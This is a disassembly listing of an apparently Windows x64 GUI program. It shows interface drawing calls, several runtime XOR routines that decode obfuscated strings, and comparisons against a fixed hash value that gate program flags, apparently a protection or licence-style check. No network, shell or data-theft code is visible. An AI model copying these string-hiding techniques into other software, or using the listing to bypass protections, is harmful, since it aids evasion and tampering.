mov dword [rbp + 0x11c], 0x3f800000
mov qword [rbp + 0x120], r15
mov dword [rbp + 0x128], 0x42400000
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
mov dword [rbp + 0x12c], 0x42400000
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm0, dword [0x140075e94]
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, dword [0x140075e34]
movss dword [rax + 0x110], xmm0
xorps xmm0, xmm0
mov byte [rax + 0x151], 1
lea rax, [rbp + 0x2f0]
mov rcx, qword [rbp + 0x418]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x330]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x2f0], xmm0
call fcn.140042a60
mov rcx, qword [0x140080da0]
movaps xmm0, xmmword [0x140076020]
movups xmmword [rcx + 0x39d4], xmm0
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm0, dword [0x140075e90]
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
mov rcx, qword [0x140080dc8]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm8
movss dword [rax + 0x110], xmm0
mov byte [rax + 0x151], 1
call fcn.14001edf0
lea rcx, [0x140080f10]
call fcn.140041260
call fcn.14001ee90
mov rcx, qword [0x140080da0]
lea r9, [rbp + 0x130]
movaps xmm1, xmmword [0x140076060]
lea r8, [rbp + 0x138]
lea rdx, [rbp + 0x140]
mov dword [rbp + 0x130], 0x3f800000
movups xmmword [rbp + 0x330], xmm1
mov rax, qword [rcx + 0x4008]
mov dword [rbp + 0x134], 0x3f800000
mov qword [rbp + 0x138], r15
mov dword [rbp + 0x140], 0x42000000
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
mov dword [rbp + 0x144], 0x42000000
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm0, dword [0x140075e8c]
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm15
movss dword [rax + 0x110], xmm0
xorps xmm0, xmm0
mov byte [rax + 0x151], 1
lea rax, [rbp + 0x2f0]
mov rcx, qword [rbp + 0x448]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x330]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x2f0], xmm0
call fcn.140042a60
mov rcx, qword [0x140080da0]
movaps xmm0, xmmword [0x140076010]
movups xmmword [rcx + 0x39d4], xmm0
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm0, dword [0x140075e94]
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
mov rcx, qword [0x140080dc8]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm8
movss dword [rax + 0x110], xmm0
mov byte [rax + 0x151], 1
call fcn.14001edf0
movups xmm0, xmmword [0x140075558]
movups xmmword [rbp + 0x2f0], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14005de61
cmp r14d, 2
jl 0x14005de21
movdqa xmm0, xmmword [str.3333333333333333]
lea rcx, [rbp + 0x2f0]
movdqa xmm5, xmmword [0x140075f70]
mov edx, r15d
movdqa xmm4, xmmword [0x140076080]
movdqa xmm6, xmmword [0x140075fa0]
movdqa xmmword [rbp + 0x330], xmm0
mov r8d, dword [rbp + 0x330]
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140075ff0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140075ff0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x14005dd20
jmp 0x14005de61
lea r9, [rbp + 0x2f0]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14005de30
lea rcx, [rbp + 0x2f0]
call fcn.140041260
call fcn.14001ee90
mov rcx, qword [0x140080da0]
movaps xmm0, xmmword [0x140076020]
movups xmmword [rcx + 0x39d4], xmm0
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm0, dword [0x140075e9c]
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
mov rcx, qword [0x140080dc8]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, xmm8
movss dword [rax + 0x110], xmm0
mov byte [rax + 0x151], 1
call fcn.14001edf0
cmp qword [0x1400800f8], 0xf
lea rcx, [0x1400800e0]
cmova rcx, qword [0x1400800e0]
call fcn.140041260
call fcn.14001ee90
mov rcx, qword [0x140080da0]
mov edx, 4
mov dword [rbp + 0x10], 0x43480000
mov dword [rbp + 0x14], 0x42480000
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
addss xmm0, dword [0x140075e98]
movss dword [rax + 0x114], xmm0
mov byte [rax + 0x151], 1
mov rax, qword [rcx + 0x4008]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4008]
movss xmm0, dword [rax + 0x28]
subss xmm0, dword [rax + 0x8c]
addss xmm0, dword [0x140075ea0]
movss dword [rax + 0x110], xmm0
mov byte [rax + 0x151], 1
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1400811d0], eax
jle 0x14005e095
lea rcx, [0x1400811d0]
call fcn.14006873c
cmp dword [0x1400811d0], 0xffffffff
jne 0x14005e095
movzx ecx, word [0x140075798]
mov rdi, 0xffffffffffffffff
movzx eax, byte [0x14007579a]
movsd xmm0, qword [str.__TDC]
movsd qword [rbp - 0x78], xmm0
xor byte [rbp - 0x77], 0x34
xor byte [rbp - 0x76], 0x35
xor byte [rbp - 0x75], 0x36
xor byte [rbp - 0x74], 0x37
xor byte [rbp - 0x73], 0x38
xor byte [rbp - 0x72], 0x39
xor byte [rbp - 0x71], 0x3a
mov word [rbp - 0x70], cx
xor cl, 0x3b
xor byte [rbp - 0x6f], 0x3c
xor al, 0x3d
mov byte [rbp - 0x78], 0x53
mov byte [rbp - 0x6e], al
lea rax, [rbp - 0x78]
mov byte [rbp - 0x70], cl
nop dword [rax]
inc rdi
cmp byte [rax + rdi], r15b
jne 0x14005e040
lea rcx, [rdi + 1]
call fcn.140068a64
mov rdx, r15
test rdi, rdi
je 0x14005e072
nop word [rax + rax]
movzx ecx, byte [rbp + rdx - 0x78]
not cl
mov byte [rax + rdx], cl
inc rdx
cmp rdx, rdi
jb 0x14005e060
mov byte [rax + rdi], r15b
lea rcx, [0x14006b1e0]
mov qword [0x1400811d8], rax
call fcn.1400689dc
lea rcx, [0x1400811d0]
call fcn.1400686d0
mov r14, qword [0x1400811d8]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [r14 + rdi], r15b
jne 0x14005e0a3
lea rcx, [rdi + 1]
call fcn.140068a64
mov rsi, rax
mov rdx, r15
test rdi, rdi
je 0x14005e1a4
cmp rdi, 8
jb 0x14005e180
lea rax, [rdi - 1]
lea rcx, [r14 - 1]
add rax, rsi
add rcx, rdi
cmp rsi, rcx
ja 0x14005e0ea
cmp rax, r14
jae 0x14005e180
cmp rdi, 0x40
jb 0x14005e14f
mov r8, rdi
and r8, 0xffffffffffffffc0
mov rcx, r14
lea rax, [rsi + 0x10]
sub rcx, rsi
movdqu xmm0, xmmword [rax + rcx - 0x10]
add rdx, 0x40
movdqu xmm1, xmmword [rax + rcx]
lea rax, [rax + 0x40]
andnps xmm0, xmm7
andnps xmm1, xmm7
movdqu xmmword [rax - 0x50], xmm0
movdqu xmm0, xmmword [rax + rcx - 0x30]
movdqu xmmword [rax - 0x40], xmm1
andnps xmm0, xmm7
movdqu xmm1, xmmword [rax + rcx - 0x20]
movdqu xmmword [rax - 0x30], xmm0
andnps xmm1, xmm7
movdqu xmmword [rax - 0x20], xmm1
cmp rdx, r8
jb 0x14005e101
movzx eax, dil
and al, 0x3f
cmp al, 8
jb 0x14005e17b
mov rcx, rdi
and rcx, 0xfffffffffffffff8
mov r8, r14
lea rax, [rdx + rsi]
sub r8, rsi
movq xmm0, qword [rax + r8]
lea rax, [rax + 8]
andnps xmm0, xmm7
add rdx, 8
movq qword [rax - 8], xmm0
cmp rdx, rcx
jb 0x14005e160
cmp rdx, rdi
jae 0x14005e1a4
sub r14, rsi
lea rcx, [rdx + rsi]
mov r8, rdi
sub r8, rdx
nop dword [rax]
movzx eax, byte [rcx + r14]
lea rcx, [rcx + 1]
not al
mov byte [rcx - 1], al
sub r8, 1
jne 0x14005e190
mov byte [rsi + rdi], r15b
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], r15
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x18], r15
nop
inc r8
cmp byte [rsi + r8], r15b
jne 0x14005e1c0
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.14004a970
mov rcx, rsi
call fcn.14006868c
cmp qword [rbp - 0x18], 0xf
lea rcx, [rbp - 0x30]
lea rdx, [rbp + 0x10]
cmova rcx, qword [rbp - 0x30]
call fcn.140041b60
mov rdx, qword [rbp - 0x18]
movzx edi, al
cmp rdx, 0xf
jbe 0x14005e232
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e22d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e728
call fcn.14006868c
test dil, dil
je 0x14005e5c0
mov byte [0x140080d9b], 1
mov byte [0x140080d99], r15b
jmp 0x14005e5c0
movaps xmm1, xmm9
movaps xmm0, xmm9
call fcn.14004e400
cmp byte [0x140080d99], 0
jne 0x14005e4e7
cmp byte [0x1400755e9], 0
movups xmm0, xmmword [str.w_BX_WXezTRZ3olmD]
movzx eax, word [0x1400755e8]
mov byte [0x140080d99], 1
movups xmmword [rbp + 0x2f0], xmm0
mov word [rbp + 0x300], ax
je 0x14005e431
mov r8d, r15d
cmp r14d, 2
jl 0x14005e3e7
movdqa xmm0, xmmword [str.3333333333333333]
lea rcx, [rbp + 0x2f0]
movdqa xmm5, xmmword [0x140075f70]
movdqa xmm4, xmmword [0x140076080]
movdqa xmm6, xmmword [0x140075fa0]
movdqa xmmword [rbp + 0x330], xmm0
mov edx, dword [rbp + 0x330]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140075ff0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140075ff0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x14005e2e0
cmp r8d, 0x12
jge 0x14005e431
movsxd rax, r8d
lea r9, [rbp + 0x2f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x51eb851f
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x33
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14005e400
lea rdx, [rbp + 0x2f0]
call fcn.140060360
movaps xmm1, xmm9
movaps xmm0, xmm9
call fcn.14004e400
lea rcx, [rbp + 0x378]
call fcn.140061b50
lea rcx, [rbp + 0x378]
call fcn.14004cf00
mov rdx, qword [rbp + 0x390]
mov rdi, rax
cmp rdx, 7
jbe 0x14005e4ab
mov rcx, qword [rbp + 0x378]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e4a6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e72f
call fcn.14006868c
cmp rdi, 0x295f1ac3
je 0x14005e4e0
lea rdx, [0x1400563a0]
lea rcx, [rbp + 0x4a8]
call fcn.140061b90
lea rcx, [rbp + 0x4a8]
call fcn.14004e3c0
cmp dword [rbp + 0x4b0], 0
jne 0x14005e736
lea rdi, str.C:Mitsu_files
cmp byte [0x140080d9c], 0
jne 0x14005e5c0
mov qword [rbp + 0x170], rdi
mov qword [rbp + 0x178], 0xe
call fcn.140069350
movaps xmm0, xmmword [rbp + 0x170]
lea r8, [rbp + 0x2f0]
mov edx, eax
movdqa xmmword [rbp + 0x2f0], xmm0
lea rcx, [rbp + 0x378]
call fcn.14004aab0
lea rcx, [rbp + 0x378]
call fcn.14004cf00
mov rdx, qword [rbp + 0x390]
mov rdi, rax
cmp rdx, 7
jbe 0x14005e584
mov rcx, qword [rbp + 0x378]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e57f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e73d
call fcn.14006868c
cmp rdi, 0x295f1ac3
jne 0x14005e5c0
lea rdx, [0x1400508b0]
lea rcx, [rbp + 0x310]
call fcn.140061b90
lea rcx, [rbp + 0x310]
call fcn.14004e3c0
cmp dword [rbp + 0x318], 0
mov byte [0x140080d9c], 1
jne 0x14005e744
call fcn.14001e700
call fcn.1400187b0
movss xmm6, dword [rbp + 0xb8]
lea r8, [0x140081090]
movss xmm1, dword [rbp + 0xc0]
movaps xmm0, xmm6
mulss xmm0, dword [rbp + 0xbc]
mov edi, 1
mov rcx, qword [0x1400810a8]
xor r9d, r9d
mulss xmm1, xmm6
mov edx, edi
movss dword [rbp + 0x500], xmm0
movss xmm0, dword [rbp + 0x50]
mulss xmm0, xmm6
movss dword [rbp + 0x504], xmm1
movss dword [rbp + 0x50c], xmm6
movss dword [rbp + 0x508], xmm0
mov rax, qword [rcx]
call qword [rax + pe_nt_image_headers64]
mov rcx, qword [0x1400810a8]
lea r8, [rbp + 0x500]
mov rdx, qword [0x140081090]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rax, qword [0x140080da0]
mov rcx, qword [rax + 0x4b18]
mov rax, qword [rcx]
mov rcx, r15
add rax, 0x48
cmp byte [rax], 0
cmovne rcx, rax
call fcn.14003c430
mov rcx, qword [0x140081098]
xor r8d, r8d
mov edx, edi
mov rax, qword [rcx]
call qword [rax + 0x40]
test r12b, r12b
jne 0x14005e74b
mov r14d, dword [0x140080088]
jmp 0x140058ee7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.14003d740
call fcn.14003da80
call fcn.140014060
mov rcx, qword [0x140081090]
test rcx, rcx
je 0x14005e773
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140081090], r15
mov rcx, qword [0x140081098]
test rcx, rcx
je 0x14005e78c
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x140081098], r15
mov rcx, qword [0x1400810a8]
test rcx, rcx
je 0x14005e7a5
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1400810a8], r15
mov rcx, qword [0x1400810a0]
test rcx, rcx
je 0x14005e7be
mov rax, qword [rcx]
call qword [rax + 0x10]
mov qword [0x1400810a0], r15
mov rcx, qword [0x140080ef0]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x228]
mov rcx, qword [rbp + 0x250]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0x4d8]
call fcn.14004afe0
xor eax, eax
mov rcx, qword [rbp + 0x6cb0]
xor rcx, rsp
call fcn.1400683d0
lea r11, [rsp + 0x6e60]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140060eb0
int3
call fcn.140060eb0
int3
call fcn.1400499c0
int3
call fcn.14004a200
int3